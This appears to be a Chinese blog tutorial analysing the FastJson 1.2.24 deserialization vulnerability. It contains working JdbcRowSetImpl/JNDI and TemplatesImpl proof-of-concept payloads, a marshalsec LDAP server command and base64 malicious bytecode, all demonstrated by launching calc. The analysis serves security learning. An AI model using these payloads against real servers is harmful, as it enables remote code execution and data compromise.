【java安全】FastJson反序列化漏洞浅析
文章目录
- 【java安全】FastJson反序列化漏洞浅析
- 0x00.前言
- 0x01.FastJson概述
- 0x02.FastJson使用
- 序列化与反序列化
- 0x03.反序列化漏洞
- 0x04.漏洞触发条件
- 0x05.漏洞攻击方式
- JdbcRowSetImpl利用链
- TemplatesImpl利用链
- **漏洞版本**
- POC
- 漏洞分析
【java安全】FastJson反序列化漏洞浅析
0x00.前言
前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化了
0x01.FastJson概述
FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化到JavaBean
0x02.FastJson使用
首先我们需要使用maven导入一个fastjson的jar包,这里选择1.2.24版本
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>
序列化与反序列化
首先创建一个标准的javabean:User类
package com.leekos.serial;public class User {private String name;private int age;public User() {System.out.println("无参构造");}public User(String name, int age) {System.out.println("有参构造");this.name = name;this.age = age;}public String getName() {System.out.println("调用了get方法");return name;}public void setName(String name) {System.out.println("调用了set方法");this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}@Overridepublic String toString() {return "User{" +"name='" + name + '\'' +", age=" + age +'}';}
}
测试一下fastjson中的方法:
- JSON.toJSONString(obj) 将javabean转化为json字符串
- JSON.parse(s) 将json字符串反序列化
- JSON.parseObject(s) 将json字符串反序列化
- JSON.parseObject(s,Object.class) 将json字符串反序列化
public class JsonTest {public static void main(String[] args) {User user = new User("leekos",20);// 序列化String serializeStr = JSON.toJSONString(user);System.out.println("serializeStr=" + serializeStr);System.out.println("------------------------------------------------------------------");//通过parse方法进行反序列化,返回的是一个JSONObjectObject obj1 = JSON.parse(serializeStr);System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());System.out.println("parse反序列化:" + obj1);System.out.println("------------------------------------------------------------------");//通过parseObject,不指定类,返回的是一个JSONObjectJSONObject obj2 = JSON.parseObject(serializeStr);System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());System.out.println("parseObject反序列化:" + obj2);System.out.println("------------------------------------------------------------------");//通过parseObject,指定类后返回的是一个相应的类对象User obj3 = JSON.parseObject(serializeStr, User.class);System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());System.out.println("parseObject反序列化:" + obj3);}
}
输出:
有参构造
调用了get方法
serializeStr={"age":20,"name":"leekos"}
------------------------------------------------------------------
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{name='leekos', age=20}
通过观察,我们可以知道:(不使用SerializerFeature.WriteClassName
参数)
- 使用
JSON.toJSONString(obj)
将javabean序列化的时候会调用get()
方法 - 使用
JSON.parse(s)
会将json串反序列化为JSONObject
对象,并没有真正反序列化,没有调用任何方法 - 使用
JSON.parseObject(s)
会将json串反序列化为JSONObject
对象,并没有真正反序列化,没有调用任何方法 - 当我们指定了
JSON.parseObject(s,User.class)
函数的第二个参数为指定类的字节码时,我们可以正确反序列化,并且会调用set()
方法
通过以上的分析,我们可能会想json串中没有与类有关的标识,我们怎么才知道这个json串反序列化对应的对象是什么类型呢?
这个时候就需要用到JSON.toJSONString(obj,SerializerFeature.WriteClassName)
的第二个参数了,如果该参数为SerializerFeature.WriteClassName
那么在序列化javabean时就会在json串中写下类的名字,保存在@type
关键字中
传入
SerializerFeature.WriteClassName
可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。
我们将上面的代码更改一下:
String serializeStr = JSON.toJSONString(user,SerializerFeature.WriteClassName);
输出:
有参构造
调用了get方法
serializeStr={"@type":"com.leekos.serial.User","age":20,"name":"leekos"}
------------------------------------------------------------------
无参构造
调用了set方法
parse反序列化对象名称:com.leekos.serial.User
parse反序列化:User{name='leekos', age=20}
------------------------------------------------------------------
无参构造
调用了set方法
调用了get方法
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"leekos","age":20}
------------------------------------------------------------------
无参构造
调用了set方法
parseObject反序列化对象名称:com.leekos.serial.User
parseObject反序列化:User{name='leekos', age=20}
经过分析,我们可以知道:
- 当反序列成功时,
parse()
、parseObject()
都会调用set()
方法 JSON.parseObject()
只有在第二个参数指定类,才会反序列化成功- 在字符串中使用
"@type":"com.leekos.serial.User"
指定类,当使用JSON.parseObject()
且不指定第二个参数时,会调用set()
、get()
方法,但会转化为JSONObject
对象 - 使用
JSON.parse()
方法,无法使用参数指定反序列化的类,它通过识别json串中的@type
来反序列化为指定类
0x03.反序列化漏洞
其实上面就有一个很敏感的问题,如果@type
为恶意类的话,就可以通过触发set()
、get()
方法来做一些恶意操作了
漏洞是利用fastjson autotype在处理json对象的时候,未对
@type
字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。
我们先编写一个恶意类:
package com.leekos.rce;import java.io.IOException;public class ExecObj {private String name;public ExecObj() {}public ExecObj(String name) {this.name = name;}public String getName() {return name;}public void setName(String name) throws IOException {Runtime.getRuntime().exec("calc");this.name = name;}@Overridepublic String toString() {return "ExecObj{" +"name='" + name + '\'' +'}';}
}
添加SerializerFeature.WriteClassName
后然后使用JSON.parseObject()
反序列化:
public class Test {public static void main(String[] args) {String s = "{\"@type\":\"com.leekos.rce.ExecObj\",\"name\":\"leekos\"}";Object o = JSON.parseObject(s);}
}
成功调用set()
方法:
0x04.漏洞触发条件
不过在FastJson中还需要满足某些条件:
getter自动调用还需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 以get开头且第四个字母为大写
- 无参数传入
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
setter自动调用需要满足以下条件:
- 方法名长度大于4
- 非静态方法
- 返回值为void或者当前类
- 以set开头且第四个字母为大写
- 参数个数为1个
除此之外Fastjson还有以下功能点:
- 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用
Feature.SupportNonPublicField
参数 - fastjson 在为类属性寻找getter/setter方法时,调用函数
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略_ -
字符串 - fastjson 在反序列化时,如果Field类型为byte[],将会调用
com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行base64解码,在序列化时也会进行base64编码
0x05.漏洞攻击方式
在Fastjson这个反序列化漏洞中是使用TemplatesImpl
和JdbcRowSetImpl
构造恶意代码实现命令执行,TemplatesImpl
这个类,想必前面调试过这么多链后,对该类也是比较熟悉。他的内部使用的是类加载器,去进行new一个对象,这时候定义的恶意代码在静态代码块中,就会被执行。再来说说后者JdbcRowSetImpl
是需要利用到前面学习的JNDI注入
来实现攻击的。
这里介绍两种方式:
TemplatesImpl
链JdbcRowSetImpl
链
JdbcRowSetImpl利用链
JNDI注入利用链是通用性最强的利用方式,在以下三种反序列化中均可使用:
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)
这里JNDI注入利用的是JdbcRowSetImpl
,由于需要使用JNDI,所以我们全局查找一下lookup()
发现lookup()
会在connect()
函数中被调用,并且传入参数this.getDataSourceName()
,
public void setDataSourceName(String var1) throws SQLException {if (this.getDataSourceName() != null) {if (!this.getDataSourceName().equals(var1)) {String var2 = this.getDataSourceName();super.setDataSourceName(var1);this.conn = null;this.ps = null;this.rs = null;this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);}} else {super.setDataSourceName(var1); //赋值this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);}}
setDataSourceName()
函数会对dataSourceName
赋值,并且这个函数是setxxx()
形式。即dataSourceName
可控
然后我们需要寻找哪里能调用connect()
函数,并且这个函数是setxxx()
形式:
public void setAutoCommit(boolean var1) throws SQLException {if (this.conn != null) {this.conn.setAutoCommit(var1);} else {this.conn = this.connect();this.conn.setAutoCommit(var1);}
}
找到了一个setAutoCommit()
,这就能简单构造一个json串了
{"@type":"com.sun.rowset.JdbcRowSetImpl", //调用com.sun.rowset.JdbcRowSetImpl函数中的setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit""dataSourceName":"ldap://127.0.0.1:1389/Exploit", "autoCommit":true // 之后再调用setAutoCommit函数,传入true
}
Demo
public class Demo {public static void main(String[] args) {String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/leekos\",\"autoCommit\":true}";JSON.parse(exp);}
}
首先我们先使用插件:marshalsec
起一个ldap服务:
(这里url指向本地的8090端口的EvilClass.class
文件)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#EvilClass
然后python起一个http服务(8090端口),目录中有一个EvilClass.class
文件:
python3 -m http.server 8090
EvilClass.java源码
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;public class EvilClass implements ObjectFactory {static {System.out.println("hello,static~");}public EvilClass() throws IOException {System.out.println("constructor~");}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {Runtime.getRuntime().exec("calc");System.out.println("hello,getObjectInstance~");return null;}
}
这里使用javac(jdk7u21)编译一下
运行:
TemplatesImpl利用链
漏洞版本
fastjson 1.22-1.24
POC
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;public class Test {//最终执行payload的类的原始模型//ps.要payload在static模块中执行的话,原始模型需要用static方式。public static class lala{}//返回一个在实例化过程中执行任意代码的恶意类的byte码//如果对于这部分生成原理不清楚,参考以前的文章public static byte[] getevilbyte() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass cc = pool.get(lala.class.getName());//要执行的最终命令String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";//之前说的静态初始化块和构造方法均可,这边用静态方法cc.makeClassInitializer().insertBefore(cmd);
// CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
// cons.setBody("{"+cmd+"}");
// cc.addConstructor(cons);//设置不重复的类名String randomClassName = "LaLa"+System.nanoTime();cc.setName(randomClassName);//设置满足条件的父类cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//获取字节码return cc.toBytecode();}//生成payload,触发payloadpublic static void poc() throws Exception {//生成攻击payloadbyte[] evilCode = getevilbyte();//生成恶意类的字节码String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String text1 = "{"+"\"@type\":\"" + NASTY_CLASS +"\","+"\"_bytecodes\":[\""+evilCode_base64+"\"],"+"'_name':'a.b',"+"'_tfactory':{ },"+"'_outputProperties':{ }"+"}\n";//此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响System.out.println(text1);//服务端触发payloadParserConfig config = new ParserConfig();Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);//Object obj = JSON.parseObject(text1, Feature.SupportNonPublicField);}//main函数调用以下pocpublic static void main(String[] args){try {poc();} catch (Exception e) {e.printStackTrace();}}
}
我们执行一下,弹出计算器:
json串:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAsTGNvbS9sZWVrb3MvRmFzdEpzb25UZW1wbGF0ZXNJbXBsL1Rlc3QkbGFsYTsBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAEAAUHABMBACpjb20vbGVla29zL0Zhc3RKc29uVGVtcGxhdGVzSW1wbC9UZXN0JGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAlY29tL2xlZWtvcy9GYXN0SnNvblRlbXBsYXRlc0ltcGwvVGVzdAEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAEkxhTGE0Mjk4NDA5NDYzMzcwMAEAFExMYUxhNDI5ODQwOTQ2MzM3MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAEAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
漏洞分析
使用TemplatesImpl
链的形式触发FastJson反序列化漏洞利用条件比较苛刻
- 服务端使用
JSON.parse()
时,需要JSON.parse(s,Feature.SupportNonPublicField);
- 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
、JSON.parseObject(input, Feature.SupportNonPublicField);
因为payload需要赋值的一些属性为private
属性,服务端必须添加特性才会去json中恢复private属性的数据
其实根据上面的poc,我们会有几个疑问:
- 如果支队
_bytecodes
插入恶意代码,为什么需要构造这么多值 _bytecodes
中的值为什么要base64加密- 发序列化为什么要加入
Feature.SupportNonPublicField
参数值
- @type :用于存放反序列化时的目标类型,这里指定的是
TemplatesImpl
这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties
方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private
修饰,必须加入Feature.SupportNonPublicField
在parseObject中才能触发; - _bytecodes:继承
AbstractTranslet
类的恶意类字节码,并且使用Base64
编码 - _name:调用
getTransletInstance
时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了,可参考cc2和cc4链。 - _tfactory:
defineTransletClasses
中会调用其getExternalExtensionsMap
方法,为null会出现异常,但在前面分析jdk7u21链的时候,部分jdk并未发现该方法。 - outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其
getOutputProperties
方法,导致bytecodes
字节码成功实例化,造成命令执行
前面说到的之所以加入Feature.SupportNonPublicField
才能触发是因为Feature.SupportNonPublicField
的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性。
相关文章:

【java安全】FastJson反序列化漏洞浅析
文章目录 【java安全】FastJson反序列化漏洞浅析0x00.前言0x01.FastJson概述0x02.FastJson使用序列化与反序列化 0x03.反序列化漏洞0x04.漏洞触发条件0x05.漏洞攻击方式JdbcRowSetImpl利用链TemplatesImpl利用链**漏洞版本**POC漏洞分析 【java安全】FastJson反序列化漏洞浅析 …...

pytestx重新定义接口框架设计
概览 脚手架: 目录: 用例代码: """ 测试登录到下单流程,需要先启动后端服务 """test_data {"查询SKU": {"skuName": "电子书"},"添加购物车": {"sk…...

【文生图系列】Stable Diffusion原理篇
文章目录 Stable Diffusion的组成什么是扩散扩散是如何工作的去噪声绘制图像将文本信息添加到图像生成器中参考 “文生图”,或者AI绘画,最近异常火爆,输入一些描述性的语句,AI就能够生成相应的画作。甚至引发了一个问题࿱…...
ARM-汇编指令
一,map.lds文件 链接脚本文件 作用:给编译器进行使用,告诉编译器各个段,如何进行分布 /*输出格式:32位可执行程序,小端对齐*/ OUTPUT_FORMAT("elf32-littlearm", "elf32-littlearm",…...
Java相关知识对应leetcode
力扣账号:华为邮箱 类知识点力扣链接Integer转为String Character 判断字符是否是字母或者数字转为小写字母 不可修改 String 转为字符串数组 是否包含某个字符或者字符位置 可修改 StringBuffer 单个字符获取 string转为StringBufferStringBuffer转为String字符…...

js中?.、??、??=的用法及使用场景
上面这个错误,相信前端开发工程师应该经常遇到吧,要么是自己考虑不全造成的,要么是后端开发人员丢失数据或者传输错误数据类型造成的。因此对数据访问时的非空判断就变成了一件很繁琐且重要的事情,下面就介绍ES6一些新的语法来方便…...
每日一题:leetcode 1109 航班预订统计
这里有 n 个航班,它们分别从 1 到 n 进行编号。 有一份航班预订表 bookings ,表中第 i 条预订记录 bookings[i] [firsti, lasti, seatsi] 意味着在从 firsti 到 lasti (包含 firsti 和 lasti )的 每个航班 上预订了 seatsi 个座…...

C#__自定义类传输数据和前台线程和后台线程
// 前台线程和后台线程 // 默认情况下,用Thread类创建的线程是前台线程。线程池中的线程总是后台线程。 // 用Thread类创建线程的时候,可以设置IsBackground属性,表示一个后台线程。 // 前台线程在主函数运行结束后依旧执行,后台线…...

司徒理财:8.21黄金空头呈阶梯下移!今日操作策略
黄金走势分析 盘面裸k分析:1小时周期的行情局部于1896附近即下行通道上轨附近录得一系列的K线呈震荡下行并筑圆顶,上轨压制有效,下行通道并未突破,后市建议延续看下行。4小时周期局部录得一系列的纺锤线呈震荡,但行情整…...
Java8 实现批量插入和更新,SpringBoot实现批量插入和更新,Mybatis实现批量插入和更新
前言 基于mybatis实现的批量插入和更新 由于直接执行批量所有数据可能会出现长度超出报错问题,使用如下方式即可解决 实现 原理还是分配执行,这里的100就是设定每次执行最大数 /*** 封装使用批量添加或修改数据库操作* * param list 集合* param inse…...

vue登录验证码组件,前端验证
效果图 点击可以切换验证码 自定义组件 <template><div class"s-canvas"><canvas id"s-canvas" :width"contentWidth" :height"contentHeight"></canvas></div> </template> <script> e…...

SLS日志解析配置
分隔符模式 INFO|2023-04-10T11:05:30.12808:00|X.X.X.X|ACCESS_ALLOWED|1 模式:分隔符模式 日志样例:贴文档说明中的样例,或者直接在SLS历史日志里找一行 分隔符:竖线 日志抽取内容Key用文档中说明的变量名 是否接受部分字段&am…...
CRM系统有哪些功能可以管理客户?
客户管理,可以简单理解为企业收集并利用客户信息,建立与客户的良好关系,满足客户的需求,从而提升客户价值的过程。CRM一直被誉为客户管理的“神器”,下面我们就来说说,什么是客户管理?CRM如何管…...

15.树与二叉树基础
目录 一. 树,基本术语 二. 二叉树 (1)二叉树 (2)满二叉树 (3)完全二叉树 三. 二叉树的性质 四. 二叉树的存储结构 (1)顺序存储结构 (2)链…...

neo4j 图数据库 springboot
一.安装 neo4j社区版在liunx安装部署 https://blog.csdn.net/u013946356/article/details/81736232 二.知识图数据导入 参考:https://notemi.cn/neo4j-import-csv-file-data.html http://openkg.cn/dataset/ch4masterpieces 放在对应的import文件夹下面 导入数据 LOAD C…...

Linux下的系统编程——makefile入门(四)
前言: 或许很多Winodws的程序员都不知道这个东西,因为那些Windows的IDE都为你做了这个工作,但我觉得要作一个好的和professional的程序员,makefile还是要懂。这就好像现在有这么多的HTML的编辑器,但如果你想成为一个专…...

Mybatis的综合案例-学生信息查询系统 用于校验是否真正学习掌握了动态SQL
Mybatis的综合案例-学生信息查询系统 需求一:当用户输入的学生姓名不为空,则只根据学生信息进行查询; 当用户输入的学生姓名为空,且专业不为空,那么就根据学生专业进行学生的查询 需求二:查询所有id值小于5的学生信息…...
力扣:70. 爬楼梯(Python3)
题目: 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢? 来源:力扣(LeetCode) 链接:力扣(LeetCode)官网 - 全球极客…...

陕西广电 HG6341C FiberHome烽火 光猫获取超级密码 改桥接模式 提升网速
光猫默认的路由模式实测在100M宽带下只能跑到60M左右,只有改成桥接模式才能跑满,不损失性能。但是改桥接需要给运营商打电话,有的时候不想麻烦他们,这时获取超级密码进行更改就是一个不错的选择了 分析 之前写了一篇HGU B2 光猫的…...

无涯教程-PHP - 移除的扩展
以下扩展已从PHP 7开始删除- eregmssqlmysqlsybase_ct 以下SAPI已从PHP 7开始删除- aolserverapacheapache_hooksapache2filtercaudiumcontinuityisapimilternsapiphttpdpi3webroxenthttpdtuxwebjames PHP - 移除的扩展 - 无涯教程网无涯教程网提供以下扩展已从PHP 7开始删除…...
Python|GIF 解析与构建(5):手搓截屏和帧率控制
目录 Python|GIF 解析与构建(5):手搓截屏和帧率控制 一、引言 二、技术实现:手搓截屏模块 2.1 核心原理 2.2 代码解析:ScreenshotData类 2.2.1 截图函数:capture_screen 三、技术实现&…...
CVPR 2025 MIMO: 支持视觉指代和像素grounding 的医学视觉语言模型
CVPR 2025 | MIMO:支持视觉指代和像素对齐的医学视觉语言模型 论文信息 标题:MIMO: A medical vision language model with visual referring multimodal input and pixel grounding multimodal output作者:Yanyuan Chen, Dexuan Xu, Yu Hu…...
Linux云原生安全:零信任架构与机密计算
Linux云原生安全:零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言:云原生安全的范式革命 随着云原生技术的普及,安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测,到2025年,零信任架构将成为超…...

OPenCV CUDA模块图像处理-----对图像执行 均值漂移滤波(Mean Shift Filtering)函数meanShiftFiltering()
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 在 GPU 上对图像执行 均值漂移滤波(Mean Shift Filtering),用于图像分割或平滑处理。 该函数将输入图像中的…...

算法岗面试经验分享-大模型篇
文章目录 A 基础语言模型A.1 TransformerA.2 Bert B 大语言模型结构B.1 GPTB.2 LLamaB.3 ChatGLMB.4 Qwen C 大语言模型微调C.1 Fine-tuningC.2 Adapter-tuningC.3 Prefix-tuningC.4 P-tuningC.5 LoRA A 基础语言模型 A.1 Transformer (1)资源 论文&a…...

【网络安全】开源系统getshell漏洞挖掘
审计过程: 在入口文件admin/index.php中: 用户可以通过m,c,a等参数控制加载的文件和方法,在app/system/entrance.php中存在重点代码: 当M_TYPE system并且M_MODULE include时,会设置常量PATH_OWN_FILE为PATH_APP.M_T…...
django blank 与 null的区别
1.blank blank控制表单验证时是否允许字段为空 2.null null控制数据库层面是否为空 但是,要注意以下几点: Django的表单验证与null无关:null参数控制的是数据库层面字段是否可以为NULL,而blank参数控制的是Django表单验证时字…...
Spring AI Chat Memory 实战指南:Local 与 JDBC 存储集成
一个面向 Java 开发者的 Sring-Ai 示例工程项目,该项目是一个 Spring AI 快速入门的样例工程项目,旨在通过一些小的案例展示 Spring AI 框架的核心功能和使用方法。 项目采用模块化设计,每个模块都专注于特定的功能领域,便于学习和…...

2.3 物理层设备
在这个视频中,我们要学习工作在物理层的两种网络设备,分别是中继器和集线器。首先来看中继器。在计算机网络中两个节点之间,需要通过物理传输媒体或者说物理传输介质进行连接。像同轴电缆、双绞线就是典型的传输介质,假设A节点要给…...

2025年- H71-Lc179--39.组合总和(回溯,组合)--Java版
1.题目描述 2.思路 当前的元素可以重复使用。 (1)确定回溯算法函数的参数和返回值(一般是void类型) (2)因为是用递归实现的,所以我们要确定终止条件 (3)单层搜索逻辑 二…...